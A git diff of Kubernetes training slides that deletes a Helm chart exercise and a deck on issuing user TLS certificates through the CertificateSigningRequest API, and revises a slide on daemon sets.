-- After the healthchecks section (just before `resources:`), add:
-
-  `{{ end }}`
-
-- Edit `hasher.yaml`, `rng.yaml`, `webui.yaml` to add:
-
-  `healthcheck: true`
-
-]
-
----
-
-## Update the deployed charts
-
-- We can now apply the new templates (and the new values)
-
-.exercise[
-
-- Use the same command as earlier to upgrade all five components
-
-- Use `kubectl describe` to confirm that `redis` starts correctly
-
-- Use `kubectl describe` to confirm that `hasher` still has healthchecks
-
-]
-
----
-
-## Is it working now?
-
-- If we look at the worker logs, it appears that the worker is still stuck
-
-- What could be happening?
-
---
-
-- The redis service is not on port 80!
-
-- We need to update the port number in redis.yaml
-
-- We also need to update the port number in deployment.yaml
-
-  (it is hard-coded to 80 there)
-
----
-
-## Setting the redis port
-
-.exercise[
-
-- Edit `redis.yaml` to add:
-  ```yaml
-    service:
-      port: 6379
-  ```
-
-- Edit `helmcoins/templates/deployment.yaml`
-
-- The line with `containerPort` should be:
-  ```yaml
-  containerPort: {{ .Values.service.port }}
-  ```
-
-]
-
----
-
-## Apply changes
-
-- Re-run the for loop to execute `helm upgrade` one more time
-
-- Check the worker logs
-
-- This time, it should be working!
-
----
-
-## Extra steps
-
-- We don't need to create a service for the worker
-
-- We can put the whole service block in a conditional
-
-  (this will require additional changes in other files referencing the service)
-
-- We can set the webui to be a NodePort service
-
-- We can change the number of workers with `replicaCount`
-
-- And much more!

slides/k8s/csr-api.md

@@ -1,426 +0,0 @@
-# The CSR API
-
-- The Kubernetes API exposes CSR resources
-
-- We can use these resources to issue TLS certificates
-
-- First, we will go through a quick reminder about TLS certificates
-
-- Then, we will see how to obtain a certificate for a user
-
-- We will use that certificate to authenticate with the cluster
-
-- Finally, we will grant some privileges to that user
-
----
-
-## Reminder about TLS
-
-- TLS (Transport Layer Security) is a protocol providing:
-
-  - encryption (to prevent eavesdropping)
-
-  - authentication (using public key cryptography)
-
-- When we access an https:// URL, the server authenticates itself
-
-  (it proves its identity to us; as if it were "showing its ID")
-
-- But we can also have mutual TLS authentication (mTLS)
-
-  (client proves its identity to server; server proves its identity to client)
-
----
-
-## Authentication with certificates
-
-- To authenticate, someone (client or server) needs:
-
-  - a *private key* (that remains known only to them)
-
-  - a *public key* (that they can distribute)
-
-  - a *certificate* (associating the public key with an identity)
-
-- A message encrypted with the private key can only be decrypted with the public key
-
-  (and vice versa)
-
-- If I use someone's public key to encrypt/decrypt their messages,
-  <br/>
-  I can be certain that I am talking to them / they are talking to me
-
-- The certificate proves that I have the correct public key for them
-
----
-
-## Certificate generation workflow
-
-This is what I do if I want to obtain a certificate.
-
-1. Create public and private keys.
-
-2. Create a Certificate Signing Request (CSR).
-
-   (The CSR contains the identity that I claim and a public key.)
-
-3. Send that CSR to the Certificate Authority (CA).
-
-4. The CA verifies that I can claim the identity in the CSR.
-
-5. The CA generates my certificate and gives it to me.
-
-The CA (or anyone else) never needs to know my private key.
-
----
-
-## The CSR API
-
-- The Kubernetes API has a CertificateSigningRequest resource type
-
-  (we can list them with e.g. `kubectl get csr`)
-
-- We can create a CSR object
-
-  (= upload a CSR to the Kubernetes API)
-
-- Then, using the Kubernetes API, we can approve/deny the request
-
-- If we approve the request, the Kubernetes API generates a certificate
-
-- The certificate gets attached to the CSR object and can be retrieved
-
----
-
-## Using the CSR API
-
-- We will show how to use the CSR API to obtain user certificates
-
-- This will be a rather complex demo
-
-- ... And yet, we will take a few shortcuts to simplify it
-
-  (but it will illustrate the general idea)
-
-- The demo also won't be automated
-
-  (we would have to write extra code to make it fully functional)
-
----
-
-## General idea
-
-- We will create a Namespace named "users"
-
-- Each user will get a ServiceAccount in that Namespace
-
-- That ServiceAccount will give read/write access to *one* CSR object
-
-- Users will use that ServiceAccount's token to submit a CSR
-
-- We will approve the CSR (or not)
-
-- Users can then retrieve their certificate from their CSR object
-
-- ...And use that certificate for subsequent interactions
-
----
-
-## Resource naming
-
-For a user named `jean.doe`, we will have:
-
-- ServiceAccount `jean.doe` in Namespace `users`
-
-- CertificateSigningRequest `users:jean.doe`
-
-- ClusterRole `users:jean.doe` giving read/write access to that CSR
-
-- ClusterRoleBinding `users:jean.doe` binding ClusterRole and ServiceAccount
-
----
-
-## Creating the user's resources
-
-.warning[If you want to use another name than `jean.doe`, update the YAML file!]
-
-.exercise[
-
-- Create the global namespace for all users:
-  ```bash
-  kubectl create namespace users
-  ```
-
-- Create the ServiceAccount, ClusterRole, ClusterRoleBinding for `jean.doe`:
-  ```bash
-  kubectl apply -f ~/container.training/k8s/users:jean.doe.yaml
-  ```
-
-]
-
----
-
-## Extracting the user's token
-
-- Let's obtain the user's token and give it to them
-
-  (the token will be their password)
-
-.exercise[
-
-- List the user's secrets:
-  ```bash
-  kubectl --namespace=users describe serviceaccount jean.doe
-  ```
-
-- Show the user's token:
-  ```bash
-  kubectl --namespace=users describe secret `jean.doe-token-xxxxx`
-  ```
-
-]
-
----
-
-## Configure `kubectl` to use the token
-
-- Let's create a new context that will use that token to access the API
-
-.exercise[
-
-- Add a new identity to our kubeconfig file:
-  ```bash
-  kubectl config set-credentials token:jean.doe --token=...
-  ```
-
-- Add a new context using that identity:
-  ```bash
-  kubectl config set-context jean.doe --user=token:jean.doe --cluster=kubernetes
-  ```
-
-]
-
----
-
-## Access the API with the token
-
-- Let's check that our access rights are set properly
-
-.exercise[
-
-- Try to access any resource:
-  ```bash
-  kubectl get pods
-  ```
-  (This should tell us "Forbidden")
-
-- Try to access "our" CertificateSigningRequest:
-  ```bash
-  kubectl get csr users:jean.doe
-  ```
-  (This should tell us "NotFound")
-
-]
-
----
-
-## Create a key and a CSR
-
-- There are many tools to generate TLS keys and CSRs
-
-- Let's use OpenSSL; it's not the best one, but it's installed everywhere
-
-  (many people prefer cfssl, easyrsa, or other tools; that's fine too!)
-
-.exercise[
-
-- Generate the key and certificate signing request:
-  ```bash
-    openssl req -newkey rsa:2048 -nodes -keyout key.pem \
-                -new -subj /CN=jean.doe/O=devs/ -out csr.pem
-  ```
-
-]
-
-The command above generates:
-
-- a 2048-bit RSA key, without encryption, stored in key.pem
-- a CSR for the name `jean.doe` in group `devs`
-
----
-
-## Inside the Kubernetes CSR object
-
-- The Kubernetes CSR object is a thin wrapper around the CSR PEM file
-
-- The PEM file needs to be encoded to base64 on a single line
-
-  (we will use `base64 -w0` for that purpose)
-
-- The Kubernetes CSR object also needs to list the right "usages"
-
-  (these are flags indicating how the certificate can be used)
-
----
-
-## Sending the CSR to Kubernetes
-
-.exercise[
-
-- Generate and create the CSR resource:
-  ```bash
-    kubectl apply -f - <<EOF
-    apiVersion: certificates.k8s.io/v1beta1
-    kind: CertificateSigningRequest
-    metadata:
-      name: users:jean.doe
-    spec:
-      request: $(base64 -w0 < csr.pem)
-      usages:
-      - digital signature
-      - key encipherment
-      - client auth
-    EOF
-  ```
-
-]
-
----
-
-## Adjusting certificate expiration
-
-- By default, the CSR API generates certificates valid 1 year
-
-- We want to generate short-lived certificates, so we will lower that to 1 hour
-
-- Fow now, this is configured [through an experimental controller manager flag](https://github.com/kubernetes/kubernetes/issues/67324)
-
-.exercise[
-
-- Edit the static pod definition for the controller manager:
-  ```bash
-  sudo vim /etc/kubernetes/manifests/kube-controller-manager.yaml
-  ```
-
-- In the list of flags, add the following line:
-  ```bash
-  - --experimental-cluster-signing-duration=1h
-  ```
-
-]
-
----
-
-## Verifying and approving the CSR
-
-- Let's inspect the CSR, and if it is valid, approve it
-
-.exercise[
-
-- Switch back to `cluster-admin`:
-  ```bash
-  kctx -
-  ```
-
-- Inspect the CSR:
-  ```bash
-  kubectl describe csr users:jean.doe
-  ```
-
-- Approve it:
-  ```bash
-  kubectl certificate approve users:jean.doe
-  ```
-
-]
-
----
-
-## Obtaining the certificate
-
-.exercise[
-
-- Switch back to the user's identity:
-  ```bash
-  kctx -
-  ```
-
-- Retrieve the updated CSR object and extract the certificate:
-  ```bash
-  kubectl get csr users:jean.doe \
-          -o jsonpath={.status.certificate} \
-          | base64 -d > cert.pem
-  ```
-
-- Inspect the certificate:
-  ```bash
-  openssl x509 -in cert.pem -text -noout
-  ```
-
-]
-
----
-
-## Using the certificate
-
-.exercise[
-
-- Add the key and certificate to kubeconfig:
-  ```bash
-  kubectl config set-credentials cert:jean.doe --embed-certs \
-          --client-certificate=cert.pem --client-key=key.pem
-  ```
-
-- Update the user's context to use the key and cert to authenticate:
-  ```bash
-  kubectl config set-context jean.doe --user cert:jean.doe
-  ```
-
-- Confirm that we are seen as `jean.doe` (but don't have permissions):
-  ```bash
-  kubectl get pods
-  ```
-
-]
-
----
-
-## What's missing?
-
-We have just shown, step by step, a method to issue short-lived certificates for users.
-
-To be usable in real environments, we would need to add:
-
-- a kubectl helper to automatically generate the CSR and obtain the cert
-
-  (and transparently renew the cert when needed)
-
-- a Kubernetes controller to automatically validate and approve CSRs
-
-  (checking that the subject and groups are valid)
-
-- a way for the users to know the groups to add to their CSR
-
-  (e.g.: annotations on their ServiceAccount + read access to the ServiceAccount)
-
----
-
-## Is this realistic?
-
-- Larger organizations typically integrate with their own directory
-
-- The general principle, however, is the same:
-
-  - users have long-term credentials (password, token, ...)
-
-  - they use these credentials to obtain other, short-lived credentials
-
-- This provides enhanced security:
-
-  - the long-term credentials can use long passphrases, 2FA, HSM...
-
-  - the short-term credentials are more convenient to use
-
-  - we get strong security *and* convenience
-
-- Systems like Vault also have certificate issuance mechanisms

slides/k8s/daemonset.md

@@ -4,29 +4,15 @@
 
 - We want one (and exactly one) instance of `rng` per node
 
-- We *do not want* two instances of `rng` on the same node
+- What if we just scale up `deploy/rng` to the number of nodes?
 
-- We will do that with a *daemon set*
+  - nothing guarantees that the `rng` containers will be distributed evenly
 
----
+  - if we add nodes later, they will not automatically run a copy of `rng`
 
-## Why not a deployment?
+  - if we remove (or reboot) a node, one `rng` container will restart elsewhere
 
-- Can't we just do `kubectl scale deployment rng --replicas=...`?
-
---
-
-- Nothing guarantees that the `rng` containers will be distributed evenly
-
-- If we add nodes later, they will not automatically run a copy of `rng`
-
-- If we remove (or reboot) a node, one `rng` container will restart elsewhere
-
-  (and we will end up with two instances `rng` on the same node)
-
-- By contrast, a daemon set will start one pod per node and keep it that way
-
-  (as nodes are added or removed)
+- Instead of a `deployment`, we will use a `daemonset`
 
 ---
 
@@ -52,7 +38,7 @@
 
 <!-- ##VERSION## -->
 
-- Unfortunately, as of Kubernetes 1.15, the CLI cannot create daemon sets
+- Unfortunately, as of Kubernetes 1.14, the CLI cannot create daemon sets
 
 --
 
@@ -87,13 +73,18 @@
 
 - Dump the `rng` resource in YAML:
   ```bash
-  kubectl get deploy/rng -o yaml >rng.yml
+  kubectl get deploy/rng -o yaml --export >rng.yml 
   ```
 
 - Edit `rng.yml`
 
 ]
 
+Note: `--export` will remove "cluster-specific" information, i.e.:
+- namespace (so that the resource is not tied to a specific namespace)
+- status and creation timestamp (useless when creating a new resource)
+- resourceVersion and uid (these would cause... *interesting* problems)
+
 ---
 
 ## "Casting" a resource to another
@@ -385,7 +376,7 @@ But ... why do these pods (in particular, the *new* ones) have this `app=rng` la
 
 - Bottom line: if we remove our `app=rng` label ...
 
- ... The pod "disappears" for its parent, which re-creates another pod to replace it
+ ... The pod "diseappears" for its parent, which re-creates another pod to replace it
 
 ---